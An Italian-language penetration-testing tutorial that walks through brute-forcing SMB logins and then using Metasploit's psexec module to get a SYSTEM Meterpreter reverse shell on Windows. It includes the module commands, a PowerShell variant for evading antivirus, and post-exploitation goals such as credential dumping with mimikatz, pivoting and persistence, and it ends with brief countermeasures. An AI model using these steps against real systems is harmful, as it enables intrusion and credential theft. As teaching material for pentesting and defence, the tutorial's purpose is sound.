Tutorials

🛠️ **Exploiting SMB con PsExec in Metasploit**

PsExec è uno strumento sviluppato da Sysinternals/Microsoft, pensato per l’esecuzione di comandi su sistemi remoti Windows senza dover installare software aggiuntivo sulla macchina target. Usa il prot

#exploitation#windows#smb

🛠️ Exploiting SMB con PsExec in Metasploit

🔍 Cos’è PsExec?

PsExec è uno strumento sviluppato da Sysinternals/Microsoft, pensato per l’esecuzione di comandi su sistemi remoti Windows senza dover installare software aggiuntivo sulla macchina target. Usa il protocollo SMB (Server Message Block) per autenticarsi e trasferire/eseguire i binari.

PsExec è spesso sfruttato dai pentester e dai malware per eseguire codice remoto come SYSTEM, una volta ottenute credenziali valide.

🎯 Obiettivo dell’attacco

1. Effettuare un brute force SMB per trovare credenziali valide. 2. Usare PsExec per ottenere una sessione Meterpreter come SYSTEM. 3. Eseguire comandi in remoto, scaricare dati, ottenere persistenza o pivoting.


📌 Prerequisiti

  • Accesso alla rete target.
  • Porta 445 (SMB) aperta sul bersaglio.
  • Credenziali valide di un utente Windows con permessi amministrativi sul sistema.
  • Nessuna protezione anti-malware aggressiva attiva (PsExec è spesso rilevato).

🔓 1. Brute Forcing SMB con Metasploit

🔧 Modulo da usare:

bash
use auxiliary/scanner/smb/smb_login

🧩 Parametri da configurare:

bash
set RHOSTS <IP_target>
set USER_FILE /path/to/users.txt

oppure:

set SMBUser <user> set PASS_FILE /path/to/passwords.txt

oppure:

set SMBPass <pass> set SMBDomain <dominio>

opzionale:

set THREADS 10 # per velocizzare il processo run

✅ Se il brute force ha successo, verranno mostrati gli account con accesso valido.


💣 2. Exploiting SMB con PsExec

Una volta ottenute credenziali valide (preferibilmente Administrator o SYSTEM-level), puoi sfruttare:

bash
use exploit/windows/smb/psexec

🔧 Parametri da configurare:

bash
set RHOSTS <IP_target>
set SMBUser <username>
set SMBPass <password>
set SMBDomain <dominio>

opzionale:

set payload windows/meterpreter/reverse_tcp set LHOST <tuo_ip> set LPORT 4444

exploit

Questo modulo carica un file eseguibile temporaneo (di default in \\\ADMIN$\System32\) e lo esegue come NT AUTHORITY\SYSTEM, dandoti accesso completo alla macchina.


🧠 Note Tecniche Importanti

  • PsExec carica ed esegue un payload (EXE) nella condivisione ADMIN$, accessibile solo se l’utente ha privilegi amministrativi.
  • Alcuni AV e EDR bloccano o rilevano automaticamente i binari associati a PsExec, specialmente se generati con Metasploit.
  • È possibile utilizzare varianti di PsExec:
- psexec_command: per eseguire comandi singoli. - psexec_psh: per usare PowerShell e bypassare alcuni antivirus.

🧪 Validazioni Manuali

Puoi anche testare le credenziali manualmente (utile se vuoi evitare detection):

bash
smbclient -U username //target_ip/C$

oppure:

bash
rpcclient -U username target_ip

Se l'accesso è consentito, le credenziali sono valide.


🎯 Obiettivi Post-Exploitation

Una volta ottenuta la sessione Meterpreter:

  • PrivEsc locale (se non sei SYSTEM).
  • Dump delle credenziali (es. hashdump, mimikatz).
  • Pivoting: usando il modulo autoroute o socks_proxy.
  • Persistence: creare utenti, pianificare task, ecc.

🛡️ Contromisure

Essere un buon pentester implica anche conoscere le difese.
  • Disabilitare le condivisioni SMB se non necessarie.
  • Usare password complesse e account con privilegi minimi.
  • Abilitare il Firewall di Windows e filtrare la porta 445.
  • Usare strumenti EDR per identificare e bloccare comportamenti anomali (come PsExec).

📚 Risorse utili

  • Metasploit Docs - PsExec Module
  • OWASP SMB Attacks